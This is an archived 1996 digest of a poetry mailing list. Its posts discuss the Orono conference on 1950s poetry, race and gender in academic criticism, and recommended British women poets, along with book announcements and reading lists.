I was ASSIGNED by Loss to report back from Orono on the subject of race & ethnicity -- I didn't get a chance to ask if he meant that I was to review the gathered complexions or the complexities of the papers, or if perhaps I was to examine the demographics of Orono itself -- as if that were not enough confusion, our email system has been returning everything I've attempted to post on this or any other subject ever since I sent in that execrable poem --

but I'll see what I can get in before the whole shebang (and are there any hebangs?) collapses again -- if interrupted, there will be a part two --

"Of the approximately 231 papers delivered at this conference, about 14 were devoted to the writings of minority poets." This observation was part of my introduction to a panel on Langston Hughes and Bob Kaufman. This sentence was also singled out by Robert von Hallberg at the beginning of a five minute long denunciation of the panel which exhausted the discussion time remaining for the session. In the course of his comments, Robert accused the panelists, including me, of "doing the sociology thing," which is reductive, of lending ourselves to identity politics. He said that what should be done instead is close readings of interesting poets, but that the poets discussed here weren't worth that sort of close reading because they were "bad" poets.

Now . . . this is a pretty old hat to those of us who have been studying issues of race and ethnicity in literature longer than two weeks -- But what I want first to mention is that, repeating strategies of the oldest of new critics, these comments required a complete decontextualization (and an evasion of close reading, I might add) of what had in fact been presented. In the interests of saving time, I will only use the example of my opening remarks. The numbers that I noted were offered in response to repeated accusations from many quarters (I used the example of Carol Iannone) to the effect that academic critics had in recent years entirely abandoned "true" critical criteria and were instead simply promoting authors on the basis of an "ethnic agenda." I introduced my numbers with the remark: "Let's see how the ethnic agenda is doing." My point was to offer a simple refutation. The large number of critics gathered at Orono had in fact produced a remarkably small number of papers concerning minority authors. Iy looks to me as if the profession is some distance still from being dominated by an ethnic agenda. This point is truly sociological, but hardly pointless. (Might add that at least two of us there on the panel have devoted considerable efforts to criticisms of identity politics.)

At any rate, I could say much more on this topic, but that's not what I was asked to do -- so --

The first day included a panel on Stephen Jonas, Melvin Tolson and Russell Atkins, where could be heard (gasp) close readings of truly interesting black poets. Mark Scroggins advanced an interesting view of the ever-problematic Jonas, Keith Leonard (one among a stream of Stanford presenters -- Stanford and Buffallo seem to be the hotbeds of poetry criticism now) set up parameters for thinking about Tolson that were later fleshed out in Lorenzo Thomas's talk, and I spoke about the critical theories of poet Russell Atkins (check your library for his old selected from Cleveland State, about the only easily available volume)

On Friday morning I discovered the amazing discussions of O'Hara and race that were already in progress at the conference. Ben Friedlander followed some intriguing wrinkles (already mentioned on this list by others) and Steve Evans followed with exactly the type of scholarly and philosophically informed exploration that some of us have been hoping for for years -- Steve has done what any good Pound scholar would do -- finding himself in a poem to the "French Negro Poets," Steve went and read them (now there's a novel approach folks --) also reading the requisite Sartre etc. -- Steve's paper asks questions about the ideologies of race and their relationships to poetics that have long needed looking into --

The one question I left with (there wasn't time to ask it) is why so many white critics think that desegregating the sex act is a politically radical move -- Tell that one to Walter White --

ooops, have to relinquish the keyboard -- will be back in about 24 hours with rest of my homework assignment --

bottom line is that there were great papers all around on these topics, though there were few of them -- and there really might have been at least one African-American or Asian-American or Latino or American Inian poet reading poems, huh???

but back with the GOOD stuff in 24 hrs --

love to all,
aldon

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3. Kevin Killian

Re: Jacquee la Mousse, ono etc

Mon 1 Jul 1996

This is Dodie Bellamy speaking.

Maria,

One thing you didn't point out in your last post was that the Orono conference had much more to offer to women than acceptance by a male elite that we could kind of "bask in." Rachel Blau du Plessis' and Joan Retallack's talks were *the* best moments of the conference for me. Rachel's talk reminded me that if it weren't for women like Rachel who promoted a specifically female approach to post-modernism, I wouldn't exist. I also found it great to just watch Margorie Perloff, her energy, her awesome confidence.

I think you should do a bit of deconstruction on your post--in your complaints about the conference the men are treated as troublesome boys who do things out of line, but--usually with your guidance--apologize and get their shit together. The only unredeemable characters in your post are the covertly racist female plenary speakers in the front row. Funny, I was in the third row (sitting next to Rachel, who was quiet as a mouse) and I didn't hear any loud whisperings. What female plenary speakers are left? Margorie Perloff? Alicia Ostriker? Couldn't these female plenary speakers be considered a *female* elite whose acceptance a young scholar would want to bask in?

One thing that stuck me about Lisa Amber Phillips' presence at the conference was how clearly she liked women and how much time she spent talking with other women--rather than chasing "testosterone," as you put it in an earlier post. There should more to feminism than demanding materialistic equality.

↑ Index

4. Michael Faherty
Re: British Women Poets
Mon 1 Jul 1996

It's always fascinated me that poets, like comedians, don't seem to travel very well and that, by all appearances, very few contemporary British poets are known in the States and, likewise, only a handful of young American poets are read here.

As far as contemporary women writers go, I would second the recommendations of Carol Ann Duffy, Pauline Stainer and Sujata Bhatt. Bhatt, by the way, actually grew up in the States and attended the Iowa Writers Workshop, where she met her German husband and moved back home to Bremen with him, but she's still often listed as a "British" poet.

I would also suggest that Helen Dunmore, Lavinia Greenlaw, Kathleen Jamie, Liz Lochhead, Sarah Maguire, Paula Meehan, Grace Nichols and, especially, Jo Shapcott are worth a look. And for Irish writers, of course, you can't miss Eilean Ni Chuilleanain, Nuala Ni Dhomhnaill and Medbh McGuckian.

If I were putting a course together, I would use the France anthology since it includes many of the above and more.

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5. R I Caddel

brit.wom.po's

Mon 1 Jul 1996

Blimey, you go away for a wet weekend and a whole discussion about the british poetry scene zips past you. This is to endorse John Matthias' plug for OUT OF EVERYWHERE (Reality Street Editions, 1996) and the individual plugs for Maggie O'Sullivan, Elaine Randell, Catherine Walsh (Irish), Michelle Leggott (NZ), and add special mention for Wendy Mulford and Geraldine Monk (both in OOE) and add Caroline Bergvall, Carlyle Reedy (also both in OOE) and Harriet Tarlo (forthcoming in Talisman, amongst others).

RC

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6. maria damon

Re: Jacquee la Mousse, ono etc

Mon 1 Jul 1996

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as long as we're complaining now about our recent love fest, let me say that at this conference i saw something i didn't like --a coupla times, senior, well-established, famous folks excoriating or picking on grad students who were giving their first papers in public. after one such instance i put my arm around louis simpson, took him aside and sd look, louie (for some reason this conference, or maybe it was the sabbatical, being out of the hierarchic loop for a year, has made me less fearful) this kid is never gonna get a job, he's just a student in some third rate graduate program, give him a break. he was reasonably contrite, and hoped he hadnt been too harsh (unlike r von h, he hadn't been). also, two other plenary speakers whispered loudly and passed notes throughout most of lorenzo thomas's talk, right there in the front row. he kept looking over at them but they didn't stop until they decided he was actually saying something (about 3/4 of the way thru). i was embarrassed, cuz these were ladies i expected more from. also, at banquet, ml rosenthal started baiting us younger scholars on "what is 'discourse analysis' anyway and what does it do other than state the obbvious in unnecessarily convoluted terms?" but then he apologized. i never use that phrase discourse analysis anyway and neither to my knowledge did any of the other folks (all women) there either.

as for lisa amber philips' comments on feminist turf-establishing, there was something very retro about the conference, as i sd in my earlier post. i myself

had fun with it because i felt accepted by the male elite, and kinda basked in it, but let's not get carried away with nostalgia for an earlier era when white males could attack accomplished, intelligent women as symbols of the establishment, with no consciousness of their own gender privilege. lisa, you know nothing about what that woman who made the comment about another comment's being "contemptible" has been through professionally, personally, etc, what her struggles with sexism in the academy have been, how these social dynamics have affected her health, her standard of living, her life chances, etc. I don't know where you're at in your career, but i myself never took sexism seriously as something that affected my material well-being (of course i was aware of paternalism and the occasional patronizing comment from a male professor, but i just ascribed that to his stupidity, and it didn't affect my life) until i entered the workforce. as a student i was very protected. now, i routinely see my white male colleagues get outrageous raises for --not mediocre, but --NO scholarly accomplishment, i see white guys with no publications deciding who does and doesnt get raises, fellowships, jobs, etc ...it's the lowpaid and overworked women in my dept who get offers frm elsewhere for endowed chairs, huge salary increases, reduced teaching loads, invitations to give seminars at harvard etc, while at home its the white guys who've never written a word past their disserations 30 years ago who make sure these women don't get a break, and who promote those in their own image. i never would have believed it was that blatant. i know i sound maternalistic myself now, pulling the rank of "older and wiser," and i apologize for that. i could be totally off in my assumptions about where you're coming from. and i know it's not academically "rigorous" (to invoke a word i'm not too fond of) to suggest that knowing the larger context of a particular utterance may nuance our reception of it --that is, a biographical understanding of why this woman said what she did may take it out of the realm of facile post/feminist theorizing and give it some substance. so, i'm sorry if i'm intervening from left field. nonetheless, i think one of the things that made the conference so good, in spite of our complaints, was the relative openness and acceptance. paradoxically, in light of the strictly retro demographics. perhpas, and i hope not, this was due to the relatively homogenous population --that is, social differences were underrepresented, so there was less overt tension and conflict...? if so, and its possible, i can easily relate to how diana trilling must have felt seduced by being a token in the white male literary establishment --i had a great time BECAUSE i wasn't really a threat...?xo, md

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7. Burt Kimmelman
Bruce Andrews
Mon 1 Jul 1996

Anyone have an e-mail address for Bruce Andrews?

thanks,

Burt Kimmelman
[redacted]

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8. henry gould
John High email
Mon 1 Jul 1996

Does anyone have an email address for poet/translator John High? I have his street address. Please backchannel - thanks - Henry Gould [redacted]

↑ Index

9. Jordan Davis
O the glassy towns are
Mon 1 Jul 1996

Which four poems by O'Hara are you (is someone) saving? I am a speculator and would like all the rest, thank you. Please send to:

Jordan Davis

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10. Kevin Killian
Re: Jacquee la Mousse, ono etc
Mon 1 Jul 1996

Okay, Maria, thanks for listening and not chewing me out. To add a note of compassion, I for one certainly would never be able to survive the hell of academic politics--and I think any woman with the strength to make it in that world deserves--I don't know what: admiration? Awe? But I'm sympathetic to Lisa Amber Philips' complaints. These blanket statements about what White Middle Class Women do and do not know are highly problematic. Also statements about young women. There are lots of young women poets (many of them black, asian, and lesbian) on the scene here in San Francisco, and, from what I've seen, they have a wide range of response to the question of whether or not they're oppressed as women in our "post"-feminist era. I'm particularly close to my intern who's 27, and her frustration over the position of women in the young

hip world she operates in is a frequent topic of discussion-- particularly in terms of her acting out her sexual desires.

Dodie

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11. Ward Tietz
Re: Paul Zelevansky
Mon 1 Jul 1996

Thanks Charles for the overview of Paul Zelevansky's work. Yours is far more detailed and cohesive than anything I could have done.

To pick up on this idea of the glyph, I think it's the narrative use of glyphs that perhaps sets Zelevansky's work apart, for me anyway. It's true Schwerner uses a very different system of support for his glyphs and the effects are in many ways more conventionally literary, but I would say in contrast that Zelevansky's use of them is probably more synthetic and sustained in terms of their function with text.

What interests me especially about Zelevansky's work is the development of an iconic/symbolic narrative that begins, in time, to function very much in a literary way. How this occurs is difficult to articulate, but in my experience it seemed to be a result of a slow but steady accumulation, a re-cognition of the material that was very analogous to learning how to read. This can be done by means of images, but I think the entire process is enhanced by the use of glyphs.

The useful thing, I think, about a glyph is that it functions very differently from an image or a mark. It's iconic, in C. S. Peirce's use of the term, in the sense that it is a sign that refers by way of similarity back to its referent, but it is also symbolic, and in that sense its use as a sign is similar to text.

I've begun to think about forms of this sort as investigating a certain "presentational" potential of literary form, in contrast to more conventional discursive form, but I still haven't worked it all out. In any case I think Zelevansky's books are some of the most ambitious and successful examples of hybrid literary form in book format of the last 20 years or so.

There's a new piece of Zelevansky's, by the way, in Chain 3, vol. 1.

Ward Tietz

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12. Steve Carll

Re: of the whole art/spam two generations

Mon 1 Jul 1996

At 04:12 PM 6/30/96 -0500, Jordan wrote:

> *Hi. What's the unconscious?*

Federal regulations require this label when the product contains less than 4% caffeine.

||||||

I'm afraid I missed the papers on Audre Lorde and Gwendolyn Brooks, but perhaps somebody else on the list heard them & can fill us in? Lorde needs to be seen in the fuller context of the avant garde set she was part of in her early years; and Brooks was perfect for a conference at which Louis Simpson appeared. Simpson, for those of you who have not read ALL his reviews, authored a notrious review of Brooks back in the day in which he opined that until she could write poetry without making "us" aware that she is a "Negro" she will never be an important poet --

Saturday included the panel I have already mentioned -- Joe Lockard gave a quick summary of his attempts to lay out a parallel between the racialized social space of 50s America and the racialized space of literary anthologizing, criticism, etc., using the reception of Hughes as an example -- John Millet gave a reading of Hughes's blues lyrics as a form of "projective" community, and Maria Damon, working around a fine reading of Bob Kaufman's "Bagel Shop Jazz," broadened our understandings of the Beat orbits -- if you haven't already read her "Beat Occlusions" essay in the Whitney Beat catalogue, that's a good place to start to pick up Maria's direction --

and that was pretty much it -- no papers, for example, on Chicano poets, though Tino Villanueva's landmark antho. appears in the 50s --

but want to mention too Marjorie Perloff's talk -- As Michael Davidson had started us off by examining the trope of containment as it extended from foreigh policy throughout American culture, Marjorie's paper touched in one respect on issues of race and containment -- I can't go into it all here,,, but in the expectation of this paper's one day appearing in print, let me mention that she offered a brilliant reading of the differing ideologies and aesthetics in two widely circulated collections of photographs -- the infamous "Family of Man" exhibit (the book of which was given even to me as a birthday present still in print in the next decade -- and Robert Frank's (name right?) collection of American photos published by Grove press -- Professor Perloff, now semiretired but hardly slowing down, "read" individual photos as well as the reception of the volumes as context against which to read Ginsberg, O'Hara and that ole gem "Love Calls Us to the Things of this World" -- This kind of paper is really exciting to me -- not an attempt to read the cultural past as a transparently available and stable entity, but looking at, how else to say it, what everyone was then looking at, as a means of deepening our discussions of the, hate to say it, poems themselves -- One of the best fast tours of "AStep Away from Them" that I've heard --

(off the track, but another question -- has any O'Hara critic EVER bothered to read the contemporaneous accounts of the night the police beat up Miles Davis, which episode figures in a lunch poem? This was a major topic in all the black

newspapers of the day -- One of the speakers on O'Hara panel No. IV commented that there's nothing wrong with thinking of O'Hara as a poet of surfaces so long as we recognize those surfaces as quicksand -- this poem, I think, offers a good example of that --)

so, in the end there wasn't all that much discussion of race among the papers, but what did appear was worth attending to -- next time, perhaps, we could expect conference notices to go, early, to MELUS, African American Review, Callaloo, CLA Journal, ethnic studies programs, etc.???

and despite what Chris said here a few days ago, and despite my dread of the coming rush of anthologies on the construction of whiteness, I still think that "critics who are regarded as white people" still need to lead a struggle, among "white" people," against racilaist ideology, but there I go being sociological again --

forgive me, love to all,
aldon

↑ Index

14. Keith Tuma
Re: Zelevansky
Mon 1 Jul 1996

I'm wondering if you have time, Ron, to say a little more about what it is that you like about Ken Irby's work within the line. Examples would help. I don't know the work except by reputation; KI seems to me far more disappeared than Tarn or Enslin et. al.

Keith Tuma

↑ Index

15. Tristan D. Saldana
Re: of the whole art/spam two generations
Mon 1 Jul 1996

On Sun, 30 Jun 1996, Carl Lynden Peters wrote:

> *Hi. What's the unconscious?*
>
> *Jordan*
>
> *jordan, -- what eliot was so afraid of*
>
> *c.*

And what he so effectively demonstrated in his poetry . . .

Tristan

↑ Index

16. Aldon L. Nielsen
Re: last days and time
Mon 1 Jul 1996

---

got shoved off system before I could insert my final paragraph on the final key-note at Orono -- so here, quickly, before I'm shoved again

The final hangers-around at Orono were privileged to hear a quite good presentation by Lorenzo Thomas on Melvin B. Tolson's major 50s work, _Libretto for the Republic of Liberia_. Thomas did an excellent job of building on the works of earlier Tolson scholars (Farnsworth, Robinson, Woodson, Pinson, Berube, etc) and adding new details to our understanding of Tolson's relationships to his sources -- Particularly useful, though brief due to time constraints, was Thomas's look at the changes Tolson made in his poem between the time a part of it appeared in _Poetry_ (where Williams saw it, to great effect!) and the time of hte book appearance of the poem -- thanks to the great audience response to Thomas's talk, it appears that the Natinal Poetry Foundation will probably see to it that at least some of Tolson's out-of-print work is again made available --

Now that's the kind of reader response I like to encourage --

see y'all

↑ Index

17. Henry Gould
unconscious
Mon 1 Jul 1996

Jordan Davis asks, what's the unconscious?

While perusing a moldy volume of pharaonic lore I discovered the following glyph, partially effaced, found tattooed in t-bird ink on an indentation in Tuthankhamen's ritually bashed-in skull:

!! @ ~~~~~ ## $ % $ ~~~~~ !!!

Roughly translated from the Akkadian (or is it Rebokkian?):

"The Divine Simulacrum rules the Right Hand;
The Unconscious Trace rules the Left Hand;
You, O Pharaoh, must be a Switch Hitter;
Live Forever in the Hereafter... O [effaced]"

- Henry Gould

↑ Index

18. Kevin Killian
haunted
Mon 1 Jul 1996

This is Dodie.

At 4:19 PM 7/1/96, Mary Hilton wrote:
>Now available from primitive publications -- "The Haunted Baronet," by
>Mark Wallace, inspired by Sheridan Le Fanu#s ghost story of the same
>title. According to Wallace, "The seventeen poems here are a way of
>taking the vocabulary of #The Haunted Baronet# and seeing what it says
>now." The result is stunning, mysterious, and haunting in its own right.

This just came in the mail today. It looks luscious. Just yesterday Kevin was pondering the world's enduring interest in ghost stories--due to our channel-surfing late the night before and landing on a schlocky ghost movie staring the ever-talent-free Allie Sheedey (or however you spell her name).

Le Fanu has never been a favorite of mine, but he will always hold a warm place in my heart due to the Hammer Studios "adaptations" and re-adaptations and re-adaptations of his Carmilla story--cleverly in each remake they simply re-arrange the letters in Carmilla--and voila Mircalla emerges from the grave! Oh those bare-breasted lascivious vampire women--I can never get enough of them.

Recently I read a collection of ghost stories by Edith Wharton and was delighted to see how many of Wharton's ghosts write letters. (The handwriting of ghosts is very faint). A writer writing about ghosts who write--does anybody smell a psycho-drama here?

↑ Index

19. David Baratier
unconscious
Mon 1 Jul 1996

Jordan

How bout Eryque's version of "what is the unconscious"

of course, what i've got in mind isn't really in mind yet as the weather conditions in albany and economic conditions in my pocket are ripe for aviating

riper than an faux (foh) ode to joy in Philly,

David Baratier

↑ Index

20. Daniel Bouchard
books, books, books
Mon 1 Jul 1996

Bill Luoma,

You said, in reference to new books by yourself and Lisa Jarnot, that ordering info. was forthcoming. I may have missed it. Could you post it again?

[redacted]

↑ Index

21. cris cheek
Re: British Women Poets
Mon 1 Jul 1996

Hi, seconding the multiple branch listings of - and then beginning to ask questions as to the increasingly inclusive lists of 'British Women Poets' cropping up here. The borders of 'nationality' and of 'poetry' are inscribed by processes of dis/emi/nation (to use a Bhabha-ish breakdown), and as has already been mentioned in this context Catherine Walsh would be unhappy being described as British. So, the subject immediately becomes more complex. I'd list Fiona Templeton, who's been mostly in Stateside for best part of 15 years, who's 'English' and whose 'You - The City' is in my view a major piece of work. Then there are Paige Mitchell and Carlyle Reedy, both U.S. born but living here for the past 25 and more - both very engaging writers. Keith Tuma's placing of Mina Loy in his list is equally problematic under such origins and migrations and exiles and

Is this proposed course on women poets . or is there a more focussed agenda? (yes, there are a couple of terrible puns there).

There are very many women poets among these islands, thankfully, and I can see the advocacy for a course presenting a range of such practices. There's a considered distance between Carol Ann Duffy (for example) and Maggie O'Sullivan though. I'd echo cheers for Reality Street's 'Out of Everywhere' anthology, edited by O'Sullivan and the Linda France collection from Bloodaxe.

Then I'd teach specific books, and this isn't meant to be an inclusive list (I've also tried, as much as possible, to limit the number of presses you might need to contact to get a fair collection together) :

Jean 'Binta' Breeze - ('Riddym Ravings', in 'The New British Poetry' anthology and from Race Today)
Caroline Bergvall - ('Strange Passage', Equipage - 'Eclats', forthcoming Sound & language)
Catherine Walsh - ('Pitch', Pig Press)
Grace Lake - ('Viola Tricolor', Equipage)
Elaine Randell - ('Beyond All Other', Pig Press)
Merle Collins - ('Rotten Pomerack', Virago)
Frances Horowitz - ('Snow Light, Water Light', Bloodaxe)
Geraldine Monk - ('Interregnum', Creation Press - 'Quaquaversals', Writers Forum)
Fiona Templeton - ('You - The City' - Roof Books)
Elaine Feinstein - (Selected Poems' - Carcanet)
Jackie Kay - ('The Adoption Papers', Bloodaxe)
Maggie O'Sullivan - ('Unofficial Word', Galloping Dog - 'In The House of the Shaman', Reality Street')
Denise Riley - ('Mop Mop Georgette', Reality Street)
Jo Shapcott - ('Electroplating the Baby', Bloodaxe)
Maighread Medbh - ('The Making of A Pagan', Blackstaff Press)

finally a note on Madge Heron. Gab, I haven't seen her for about 18 years, since I heard her read in various motley company's with bill bissett and Bob Cobbing. She was a riotous presence, and I too hope she's well somewhere.

love and love
cris

↑ Index

22. Jordan Davis
I'll iterate
Mon 1 Jul 1996

Put down the gun.

Yesterday afternoon two new books of poetry came out. Joe Elliott, sultan of Situations Press, brought _Sea Lyrics_ by Lisa Jarnot and _Western Love_ by Bill Luoma in bulk to Biblios where he semi-secretly presides as master of puppets. These are very good books which will only increase in value. Readers of the poetics list may remember a few mentions of _Sea Lyrics_ around last February when Jarnot read at the Ichor Gallery. It was referred to then as 'something about California.' Also there was a brief mention of Luoma's _Western Love_ in connection with his reading at Ruthless Grip in Washington. Yesterday Luoma read the book in its entirety to a cheerful and noshing crowd. I enjoyed it significantly more than I did the first time I heard parts of it, there in Washington,

sitting directly in front of my grandmother. It is a loping study of double intention and rewired vocabulary, with the good natured sexual hijinks familiar to readers of Luoma's love poems in The Impercipient and the Poetry Project Newsletter. When will there be a big perfect bound book of Bill's poems? There was a big perfect bound book of Lisa's poems on the table, too. _Some Other Kind of Mission_, a Burning Deck book, contains much of the collaged and looped work Jarnot published in Lingo and other places, and the exciting static of it suggests the purity of first feedback, you know, rock and roll, not that rock and roll ordinarily has anything to do with poetics, but it ought to, not that depressing rockist fetishization of the stage, the band line up, but getting the noise to do the work too. I suppose a good cellist would argue a different necessity of noise: overtone. Well there's that in _Sea Lyrics_ which is curiously more like a studio album than the perfect book, handsome typography by Joe, and god I hope I'm not embarrassing the authors who are after all reading the list. Probably I will be able to get some copies to offer to the readers of the list for not too much sometime soon. So yes in a way this should be read as a movie minute produced by Buena Vista.

Who was there. A clean shaven Drew Gardner (who looked for a second just like Tim Griffin! imagine), Lewis Warsh, Juliana Spahr and Charles, Rob Fitterman and Kim Rosenfield, Marcella Durand and Rich, Kevin Davies, Deirdre Kovac, Garrett Kalleberg and Heather Ramsdell, Douglass Rothschild, the Mitch Highfill, Mark Cheney, Joe and Leo of course, Sophie Warsh, and Max Warsh, geez, I'm leaving out a lot of people. Drew is playing at the Knitting Factory on the 9th of July. Poetry's sort of quieting down for the summer, bang.

Jordan

↑ Index

23. Henry Gould

Re: unconscious geography

Mon 1 Jul 1996

On Mon, 1 Jul 1996 15:20:57 -0500 Jordan Davis said:
>
>>"The Divine Simulacrum rules the Right Hand;
>>The Unconscious Trace rules the Left Hand;
>>You, O Pharaoh, must be a Switch Hitter;
>>Live Forever in the Hereafter... O [effaced]"
>
>Which I think gets to it. Why is half the brain marked X? (Half my brain
>anyway. And keep your smart remarks to yourself, as they say at the state
>line of Rhode Island on a t-shirt a camp mate wore once ten summers ago.)

>'new world' or 'terra incognita.' is this so much imperialism of the
>unknown

If I might add a brief scholarly addendum to this presentation: I adhere to the school of Hermann Nautical of Liebfraumilch Univ., who interprets this "glyph" in a strictly political sense. If "Pharaoh", in the regal sense of Person, looks to the "Right", politically, she finds a "simulacrum" of the divine - those traditional orders of the Good she is enjoined to obey. If Pharaoh looks to the "Left", politically, she finds the upwelling trace of the repressed, to which she is enjoined to submit. They are, in a sense, mirror images. Both demand obedience of the Person to a higher (or lower) authority. Where, then, in Chaadevian terms, is moral freedom? Where is - the po commodified Person? She or he flourishes in a realm of freely chosen commitment to... the glyph.... the [effaced]... if indeed shuhee exuhists...

- Heinricvh Gcvld

↑ Index

24. Mary Hilton
"The Haunted Baronet" by Mark Wallace (ad)
Mon 1 Jul 1996

Now available from primitive publications -- "The Haunted Baronet," by Mark Wallace, inspired by Sheridan Le Fanu#s ghost story of the same title. According to Wallace, "The seventeen poems here are a way of taking the vocabulary of #The Haunted Baronet# and seeing what it says now." The result is stunning, mysterious, and haunting in its own right.

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primitive publications
c/o M. Hilton
1706 U Street, NW, #102
Washington, DC 20009

Inquiries, or requests to be included on the mailing list, may be e-mailed to
[redacted]
Thank you.

↑ Index

25. Jordan Davis
Re: unconscious geography
Mon 1 Jul 1996

Henry, funny, wrote:

> "*The Divine Simulacrum rules the Right Hand;*
> *The Unconscious Trace rules the Left Hand;*
> *You, O Pharaoh, must be a Switch Hitter;*
> *Live Forever in the Hereafter... O [effaced]*"

Which I think gets to it. Why is half the brain marked X? (Half my brain anyway. And keep your smart remarks to yourself, as they say at the state line of Rhode Island on a t-shirt a camp mate wore once ten summers ago.) 'new world' or 'terra incognita.' is this so much imperialism of the unknown

J

↑ Index

26. Kevin Killian
my stack
Mon 1 Jul 1996

William Northcutt, you had a good idea. Here's what I've been reading.

1. Bitter Blue by Jeremy Reed. Incidentally, thanks to all who backchannel me with info on Reed, especially Pierre Joris, Ira Lightman, Joel Lewis, Romana Huk, and Ken Edwards.

2. Portrait of a Lady by Henry James.

3. Autotoxaemia by Latif Harris. About six weeks ago Eddy Berrigan was looking for a job here in San Francisco and told me he went into this one store & the owner gave him a test, and it turned out it was the "questionnaire" Jack Spicer asked his students to fill out to apply to his 1957 "Magic" Workshop (it's printed in the back of the "Collected Books" of Spicer). Following up I went into the store and demanded to see the owner. That's how I met Latif Harris, and he gave me one of his books. Turns out he is the missing witness I've been seeking for all these years, the man who drove Jack Spicer to his last poetry reading at the Berkeley Conference (1965) and had the nerve to bundle him up in the car with the man JS hated, Lew Welch. P.S., good book! PSS>, Eddy did not get the job!

4. The Green Mile, by Stephen King. One of Steve's best.

5. Abigail Child, "Scatter Matrix." Thanks to the people at Segue for sending this to me (or was it to Small Press Traffic????)

6. "Heart of the Breath," by Jim Brodey. I'm supposed to write a review of this one, and it is so long. (Quite a bargain.)

7. "The Prince, the Showgirl and Me," by Colin Clark. At age 19 Colin Clark was the 3rd assistant director on the set of the Olivier/Marilyn Monroe film "The Prince and the Showgirl." This is his diary of the period.

8. "Sunshine Muse," by Peter Plagens (1974). Out of date by lots, but an interesting art history of California during the Cold War. Who was it recommended this book to me as a good place to get more information about Jay De Feo, the San Francisco painter whose life I am dramatizing as we speak?

9. From Outlaw to Classic, by Alan Golding. I have read this book before, but I wanted to read it again to see if I have anything to add to Golding's Laws of Canon Formation.

10. Angry Women in Rock, ed. Andrea Juno, this is the first book of a new press formed by one of the editors of the defunct ReSEARCH.

11. Learned and Leaved: a Tribute to Rosalie Moore-Moore was one of the Bay Area activist poets, like Lawrence Hart, whose death a few months ago inspired a bit of discussion here on this list. These Activist people really had a program, didn't they? A program, and a destiny. Alan Golding, how do they fit in to your ideas about Canon Formation?

--Kevin Killian

↑ Index

27. Maria Damon

Re: Jacquee la Mousse, ono etc

Mon 1 Jul 1996

---

ok dodie. there were wonderful women-generated moments; i too loved rachel's talk, esp the alphabet device, and retallack as well. i guess i was trying to be self-critical cuz i had such a good time --thanks for calling me on my puritanical side. who other than louis simpson did i chastise? are you referring to barry? i didn't chastise him but told him what i thought. i didn't convert him or bring him into the fold. we had a conversation. sorry if i sound self-serving. i didn't, nor did anyone else i saw, chase testosterone. i enjoyed male attention. perhaps i shd be less self-disclosing. the comment was intended not to cast aspersions on the men present, most of whom i like and admire a great deal and have been inspired by, but to question my own sexual politics. as for materialistic equality, i agree that there should be more to feminism, but it would certainly be an obvious place to begin. as for the thomas/tolson whisperers, why should i not feel uncomfortable and critical. i was so not because they were women but because i liked them and they were doing something i didn't like. the truth is, i

know the woman who made the comment on diana trilling and i felt the need to come to her defense. md

In message <v01520d00adfd4912da0a@[205.134.228.68]> UB Poetics discussion group
writes:
> This is Dodie Bellamy speaking.
>
> Maria,
>
> One thing you didn't point out in your last post was that the Orono
> conference had much more to offer to women than acceptance by a male elite
> that we could kind of "bask in." Rachel Blau du Plessis' and Joan
> Retallack's talks were *the* best moments of the conference for me.
> Rachel's talk reminded me that if it weren't for women like Rachel who
> promoted a specifically female approach to post-modernism, I wouldn't
> exist. I also found it great to just watch Margorie Perloff, her energy,
> her awesome confidence.
>
> I think you should do a bit of deconstruction on your post--in your
> complaints about the conference the men are treated as troublesome boys
who
> do things out of line, but--usually with your guidance--apologize and get
> their shit together. The only unredeemable characters in your post are the
> covertly racist female plenary speakers in the front row. Funny, I was in
> the third row (sitting next to Rachel, who was quiet as a mouse) and I
> didn't hear any loud whisperings. What female plenary speakers are left?
> Margorie Perloff? Alicia Ostriker? Couldn't these female plenary speakers
> be considered a *female* elite whose acceptance a young scholar would want
> to bask in?
>
> One thing that stuck me about Lisa Amber Phillips' presence at the
> conference was how clearly she liked women and how much time she spent
> talking with other women--rather than chasing "testosterone," as you put it
> in an earlier post. There should more to feminism than demanding
> materialistic equality.

↑ Index

28. filch
Peeing
Mon 1 Jul 1996

Studies have shown the incidence of peeing in pools to be larger, by far, among members of the adult male population.

Subsequent studies will show whether this figure can be broken down by race, socioeconomic status, and/or sexual orientation.

If you would be interested in participating in such a study please contact me at your earliest convenience.

↑ Index

29. Ken Edwards
British Women Poets
Mon 1 Jul 1996

I'm a little late responding to this, as I've only just downloaded several days' worth of digests, but...

Out of Everywhere, the anthology John Matthias mentioned, is published by Reality Street Editions, the press I run in conjunction with Wendy Mulford. I've mentioned it several times before on this list. Among the thirty contributors there are eight who are UK-based: Maggie O'Sullivan (who edited the book), Wendy herself, who also contributes an afterword, Caroline Bergvall, Paula Claire, Grace Lake, Geraldine Monk, Carlyle Reedy and Denise Riley. Another contributor, Fiona Templeton, is Scottish but has lived in New York for the past few years. The 21 others are American and Canadian.

The book has been out since March in the UK, is a 256pp paperback and costs 9 pounds. Until recently I was under the impression that copies would be available by now at SPD, and at Marginal Distribution in Canada. However, I have been badly let down by people who promised to ship them over; it transpires that Marginal will only now be receiving copies and the copies which SPD should have had weeks ago have apparently still not arrived; I shall be following this up urgently. (I'm sorry: I'm in an "if you want anything done you've got to do it yourself" mood.)

I know many people are eagerly awaiting copies. Please be patient, I'll sort this out soon.

Those who are going to the University of New Hampshire shindig in August/September will get a chance to hear some of the above in person: Maggie, Wendy, Denise. Also Catherine Walsh, who's Irish, not in the anthology but very

good. I shall be coming over too, as well as a number of other like-minded poets of the male persuasion.

↑ Index

30. John Cayley
Engaged Issue Four - the tinned issue
Mon 1 Jul 1996

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Alyson Morgan - Untitled
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abstract impressions of form and identity. BOOK UNBOUND - by John Cayley - an interactive textual/poetic work - 'when you open "Book Unbound" you will change it irreversibly.'(This is available only on Mac Platform) A PORTRAIT OF PERSONALITY - by Katie Waters - a lively animation comically portraying various aspects of the personality of the artist. This piece has an introduction written by Martha Ladley of Real World Studios. ICY-ICY - by Ronald Fraser Munro - a series that sets off imagery against poetry creating a striking and disturbing piece of work. THIS WORLD - by Martha Aitchison - a still in which text is built up, layer upon layer, to create a pictorial account of the language.

IN ADDITION
A FEATURE ON STRIKE, a fine arts project based in London.
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This issue was funded by The Arts Council of England, Cimex and PDO

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[redacted]
0[redacted]

↑ Index

31. Loss Glazier

Postmortems on Orono (Perloff)

Mon 1 Jul 1996

To All,

Marjorie Perloff was kind enough to send an Orono report for the online book. I wanted to share this in advance with the list!

My thanks to Marjorie,

Loss

>
>Postmortems on Orono:
>
>In some ways, this conference was not as exciting for me as the 30s one a
>few years back because we're in many ways still "in" the fifties and so
>they're harder to assess and it was painful to have appraisals like Louis
